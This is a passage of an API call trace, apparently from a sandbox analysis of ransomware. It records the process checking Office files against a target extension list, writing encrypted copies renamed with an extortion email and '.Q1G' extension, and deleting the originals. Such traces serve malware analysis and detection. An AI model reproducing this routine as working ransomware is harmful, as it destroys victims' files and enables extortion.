4 [0259.189] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.189] lstrlenW (lpString=".1cd") returned 4 [0259.190] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.190] lstrlenW (lpString=".jpg") returned 4 [0259.190] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.190] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.190] lstrlenW (lpString="OLR.SAM") returned 7 [0259.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.190] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=15760) returned 1 [0259.190] CloseHandle (hObject=0x3b4) returned 1 [0259.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 0x20 [0259.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.191] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.191] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.192] GetLastError () returned 0x0 [0259.192] ReadFile (in: hFile=0x3b4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0259.193] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0259.194] ReadFile (in: hFile=0x3b4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.194] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0259.194] SetEndOfFile (hFile=0x3b0) returned 1 [0259.195] CloseHandle (hObject=0x3b0) returned 1 [0259.195] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.195] SetEndOfFile (hFile=0x3b4) returned 1 [0259.197] CloseHandle (hObject=0x3b4) returned 1 [0259.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 1 [0259.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.198] lstrlenW (lpString=".doc") returned 4 [0259.198] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.198] lstrlenW (lpString=".docx") returned 5 [0259.198] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.198] lstrlenW (lpString=".pdf") returned 4 [0259.198] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.198] lstrlenW (lpString=".xls") returned 4 [0259.198] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.198] lstrlenW (lpString=".xlsx") returned 5 [0259.198] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.198] lstrlenW (lpString=".ppt") returned 4 [0259.198] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.198] lstrlenW (lpString=".zip") returned 4 [0259.198] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.198] lstrlenW (lpString=".rar") returned 4 [0259.198] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.198] lstrlenW (lpString=".bz2") returned 4 [0259.198] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.198] lstrlenW (lpString=".7z") returned 3 [0259.198] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.198] lstrlenW (lpString=".dbf") returned 4 [0259.198] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.198] lstrlenW (lpString=".1cd") returned 4 [0259.198] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.198] lstrlenW (lpString=".jpg") returned 4 [0259.198] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.199] lstrlenW (lpString=".doc") returned 4 [0259.199] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.199] lstrlenW (lpString=".docx") returned 5 [0259.199] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.199] lstrlenW (lpString=".pdf") returned 4 [0259.199] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.199] lstrlenW (lpString=".xls") returned 4 [0259.199] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.341] lstrlenW (lpString=".xlsx") returned 5 [0259.341] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.341] lstrlenW (lpString=".ppt") returned 4 [0259.341] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.341] lstrlenW (lpString=".zip") returned 4 [0259.341] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.341] lstrlenW (lpString=".rar") returned 4 [0259.341] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.341] lstrlenW (lpString=".bz2") returned 4 [0259.341] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.341] lstrlenW (lpString=".7z") returned 3 [0259.341] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.341] lstrlenW (lpString=".dbf") returned 4 [0259.341] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.341] lstrlenW (lpString=".1cd") returned 4 [0259.341] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63 [0259.341] lstrlenW (lpString=".jpg") returned 4 [0259.341] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.342] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.342] lstrlenW (lpString="ODBC.SAM") returned 8 [0259.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0259.399] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=63864) returned 1 [0259.399] CloseHandle (hObject=0x3e4) returned 1 [0259.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 0x20 [0259.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0259.399] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.399] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0259.400] GetLastError () returned 0x0 [0259.400] ReadFile (in: hFile=0x3e4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xf978, lpOverlapped=0x0) returned 1 [0259.403] WriteFile (in: hFile=0x3c8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf980, lpOverlapped=0x0) returned 1 [0259.405] ReadFile (in: hFile=0x3e4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.405] WriteFile (in: hFile=0x3c8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0259.405] SetEndOfFile (hFile=0x3c8) returned 1 [0259.405] CloseHandle (hObject=0x3c8) returned 1 [0259.405] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.405] SetEndOfFile (hFile=0x3e4) returned 1 [0259.408] CloseHandle (hObject=0x3e4) returned 1 [0259.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 1 [0259.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.409] lstrlenW (lpString=".doc") returned 4 [0259.409] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.409] lstrlenW (lpString=".docx") returned 5 [0259.409] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1 [0259.409] lstrlenW (lpString=".pdf") returned 4 [0259.409] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.409] lstrlenW (lpString=".xls") returned 4 [0259.410] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.410] lstrlenW (lpString=".xlsx") returned 5 [0259.410] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1 [0259.410] lstrlenW (lpString=".ppt") returned 4 [0259.410] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.410] lstrlenW (lpString=".zip") returned 4 [0259.410] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.410] lstrlenW (lpString=".rar") returned 4 [0259.410] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.410] lstrlenW (lpString=".bz2") returned 4 [0259.410] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.410] lstrlenW (lpString=".7z") returned 3 [0259.410] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.410] lstrlenW (lpString=".dbf") returned 4 [0259.410] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.410] lstrlenW (lpString=".1cd") returned 4 [0259.410] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.410] lstrlenW (lpString=".jpg") returned 4 [0259.410] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.410] lstrlenW (lpString=".doc") returned 4 [0259.410] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.410] lstrlenW (lpString=".docx") returned 5 [0259.410] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1 [0259.410] lstrlenW (lpString=".pdf") returned 4 [0259.410] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.410] lstrlenW (lpString=".xls") returned 4 [0259.410] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.410] lstrlenW (lpString=".xlsx") returned 5 [0259.410] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1 [0259.410] lstrlenW (lpString=".ppt") returned 4 [0259.410] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.411] lstrlenW (lpString=".zip") returned 4 [0259.411] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.411] lstrlenW (lpString=".rar") returned 4 [0259.411] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.411] lstrlenW (lpString=".bz2") returned 4 [0259.411] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.411] lstrlenW (lpString=".7z") returned 3 [0259.411] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.411] lstrlenW (lpString=".dbf") returned 4 [0259.411] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.411] lstrlenW (lpString=".1cd") returned 4 [0259.411] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0259.411] lstrlenW (lpString=".jpg") returned 4 [0259.411] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.411] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.411] lstrlenW (lpString="OLADD.FAE") returned 9 [0259.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.514] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=133024) returned 1 [0259.514] CloseHandle (hObject=0x3e0) returned 1 [0259.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 0x20 [0259.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.514] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.514] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0259.515] GetLastError () returned 0x0 [0259.515] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x207a0, lpOverlapped=0x0) returned 1 [0259.559] WriteFile (in: hFile=0x1bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x207b0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x207b0, lpOverlapped=0x0) returned 1 [0259.562] ReadFile (in: hFile=0x3e0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.562] WriteFile (in: hFile=0x1bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0259.562] SetEndOfFile (hFile=0x1bc) returned 1 [0259.562] CloseHandle (hObject=0x1bc) returned 1 [0259.562] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.562] SetEndOfFile (hFile=0x3e0) returned 1 [0259.566] CloseHandle (hObject=0x3e0) returned 1 [0259.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 1 [0259.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.645] lstrlenW (lpString=".doc") returned 4 [0259.645] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.645] lstrlenW (lpString=".docx") returned 5 [0259.645] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1 [0259.645] lstrlenW (lpString=".pdf") returned 4 [0259.645] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.645] lstrlenW (lpString=".xls") returned 4 [0259.645] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.645] lstrlenW (lpString=".xlsx") returned 5 [0259.645] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned -1 [0259.645] lstrlenW (lpString=".ppt") returned 4 [0259.645] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.645] lstrlenW (lpString=".zip") returned 4 [0259.645] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.645] lstrlenW (lpString=".rar") returned 4 [0259.645] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.645] lstrlenW (lpString=".bz2") returned 4 [0259.645] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.645] lstrlenW (lpString=".7z") returned 3 [0259.646] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.646] lstrlenW (lpString=".dbf") returned 4 [0259.646] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.646] lstrlenW (lpString=".1cd") returned 4 [0259.646] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.646] lstrlenW (lpString=".jpg") returned 4 [0259.646] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.646] lstrlenW (lpString=".doc") returned 4 [0259.646] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.646] lstrlenW (lpString=".docx") returned 5 [0259.646] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1 [0259.646] lstrlenW (lpString=".pdf") returned 4 [0259.646] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.646] lstrlenW (lpString=".xls") returned 4 [0259.646] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.646] lstrlenW (lpString=".xlsx") returned 5 [0259.646] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned -1 [0259.646] lstrlenW (lpString=".ppt") returned 4 [0259.646] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.646] lstrlenW (lpString=".zip") returned 4 [0259.646] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.646] lstrlenW (lpString=".rar") returned 4 [0259.646] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.646] lstrlenW (lpString=".bz2") returned 4 [0259.646] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.646] lstrlenW (lpString=".7z") returned 3 [0259.646] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.646] lstrlenW (lpString=".dbf") returned 4 [0259.646] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.647] lstrlenW (lpString=".1cd") returned 4 [0259.647] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0259.647] lstrlenW (lpString=".jpg") returned 4 [0259.647] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.647] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.647] lstrlenW (lpString="PAB.SAM") returned 7 [0259.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.900] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=63864) returned 1 [0259.902] CloseHandle (hObject=0x3a0) returned 1 [0259.906] GetFileAttributesW 